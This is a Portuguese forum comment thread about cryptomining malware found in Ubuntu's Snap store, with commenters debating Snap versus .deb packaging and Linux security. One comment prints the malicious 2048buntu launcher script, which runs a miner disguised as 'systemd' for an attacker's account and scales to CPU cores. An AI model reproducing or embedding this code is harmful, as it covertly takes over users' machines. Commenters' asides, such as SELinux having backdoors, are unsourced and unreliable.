Cuidado: A loja de apps do Ubuntu também tem malware

arc says:

Vejamos…

1. “Todos reconhecem no Linux uma segurança elevada e até maior que nos restantes sistemas operativos. A sua comunidade tem um papel importante ao desenvolver este sistema e as suas aplicações de forma aberta.”

Linux, NÃO é um sistema operativo!
Sistemas Operativos em que incorporam o Kernel, são as distribuições de Linux, as quais seguem os seus formatos padronizados de empacotamento!!

Uma vantagem desde já para os SO Open Source e para qualquer aplicação, em que este pode ser escrutinado de forma Livre, Directa, Imediata e Corrigido o mais Rapidamente possível.

2. ” … tem-se tornado o padrão da indústria e está em várias outras distribuições, dada a forma simples como os programadores podem partilhar as suas apps, independentemente da plataforma.”

O formato de empacotamento Snap, NÃO é padrão em NENHUMA distribuição de Linux. Uma coisa é poder ser usado…outra diferente é ser um PADRÃO.

No caso especifico da distribuição Ubuntu Linux, o formato de empacotamento PADRÃO e como é um derivado do Debian Linux é o formato .deb e NÃO…Snap.

3. “A questão é que estes são automáticos e limitam-se a validar a sua funcionalidade e a capacidade de ser instalada noutras distribuições, não sendo verificado o código de forma exaustiva.”

Aí está a verdade a começar a ver a Luz!

Contrariamente, ao que acontece, se fosse um pacote padronizado para as distribuições de Linux, OBRIGATORIAMENTE, tinha de passar pela auditoria de integridade desse mesmo pacote, neste caso no formato .deb, para ser colocado nos repositórios oficiais da distribuição em causa.

O que se passa no caso da Canonical, é que deseja dar tamanhas facilidades aos utilizadores da sua distribuição Ubuntu Linux, que no caso especifico desta nova forma de empacotamento, NÃO está a olhar a meios, desvirtuando a integridade da sua distribuição.

Mais uma razão para quem defende em que as distribuições de Linux, devem seguir os seus formatos de empacotamento PADRÃO, em detrimento de formatos de empacotamento “aligeirados”, aos quais NÃO existe controlo à data.

Nenhuma distribuição de Linux, recomenda a instalação de pacotes Snap em detrimento da sua forma de empacotamento previamente estabelecida para o seu SO, esta é a VERDADE.

E o mesmo pode vir a acontecer com o formato Flatpak…

4. “A categorização de malware neste caso deve-se à presença de código e funcionalidades maliciosas sem que as mesmas estivessem anunciadas na descrição da app.”

Em qual SO, as aplicações com malware, as quais são desconhecidas pelos utilizadores, se encontram descritas como tal, antes de serem instaladas?

5. “Cai assim por terra mais um mito do Linux e do Ubuntu, que garantiam a maior segurança das aplicações e da loja destas.”

Oura vez Linux?!?!

A Canonical, que aprenda, NÃO queira “IMPOR”, um formato de empacotamento NOVO, para o qual ainda não tem equipa para controlar devidamente o lançamento para a comunidade de utilizadores Ubuntu, esses tipos de pacotes.

Querem atingir o Nirvana, ainda vão parar no Limbo!!

No entanto, não deixa de ser curioso, se a noticia for lida com a máxima atenção, que este Badware como é designada esta nova forma de malware, em que o seu autor denota uma “ligeira” falta de esforço, para disfarçar estas aplicações nocivas, na medida em que faz a inclusão de um endereço de e-mail codificado em que menciona um Ferrari (myfirstferrari@protonmail.com).

Ver em…https://github.com/canonical-websites/snapcraft.io/issues/651#issuecomment-388546799

#!/bin/bash

currency=bcn
name=2048buntu

{ # try
/snap/$name/current/systemd -u myfirstferrari@protonmail.com –$currency 1 -g
} || { # catch
cores=($(grep -c ^processor /proc/cpuinfo))

if (( $cores < 4 )); then
/snap/$name/current/systemd -u myfirstferrari@protonmail.com –$currency 1
else
/snap/$name/current/systemd -u myfirstferrari@protonmail.com –$currency 2
fi
}

NOTA: vai ficar a dúvida, se pode ter sido a forma mais expedita para chamar a ATENÇÃO da Canonical, para um buraco no seu modelo de verificação do Snapcraft.

Não deixa de ser curioso também, que as boas praticas de instalação de pacotes em distribuições de Linux, NÃO recomendem que as aplicações a serem integradas, devemos utilizar da máxima cautela, sobre o tipo de software a ser instalado e sobre quais os locais de onde se instala.

Exemplo: PPAs, scripts de instalação compartilhado via GitHub, etc., etc.

CURIOSO: também não deixa de ser verdade que este bundleware, utiliza a licença do MIT, que permite que o mesmo seja distribuído como software proprietário, sem que para isso seja obrigado a ser disponibilizado o código fonte, desde que os direitos de autor sejam mantidos, como acontece neste caso.

Nunca usei Snap nem esses “pendericalhos” e NUNCA irei utilizar nas minhas distribuiçoes de Linux, pelo simples facto que NÂO existe uma verificaçao linha a linha de codigo suspeito, como acontece nos formatos de empacotamento padrao para as distribuiçoes de Linux.

Assim e para terminar, uma das GRANDES vantagens de se utilizar uma distribuição de Linux, software Open Source e Free Software, é precisamente a forma que temos de poder auditar TUDO e no menor espaço de tempo, disponibilizar, alertar, para que a solução para o problema seja resolvido o mais rápido possível.

sakura says:

“”Ué, mas não era o Linux o sistema perfeito??””

se usa uma distro vendida a “MS,Canonical$$$” ou made in ch o problema é teu.
quem usa linux Gosta mesmo é de PURO OSS. ArchLinux ou uma distro com suporte valido REL,Fedora, e sim o selinux tem backdoors, mas a segurança tem um preço, não há almoços grátis.
Se é seguro ……. Lol os outros são melhores.

ademirt says:

Já instalei alguns programas do repositorio AUR, como android studio, spotify, sublime text, e sempre no Output aparecia um alerta em vermelho.

https://cdn5.linuxsecrets.com/media/xt-adaptive-images/480/images/2014/0603/snagit/sublime_text_3_AUR.png

https://wiki.manjaro.org/index.php?title=File:Yaourtdownload.png

https://semanickzaine.files.wordpress.com/2017/10/arch-labs-linux-minimo_2017-10-02-26_1355x682.png?w=730

arc says:

@Wilbert e ademirt….ora queiram ver onde são apresentados os problemas de aplicações relacionadas com SEGURANÇA….https://security.archlinux.org/

E agora?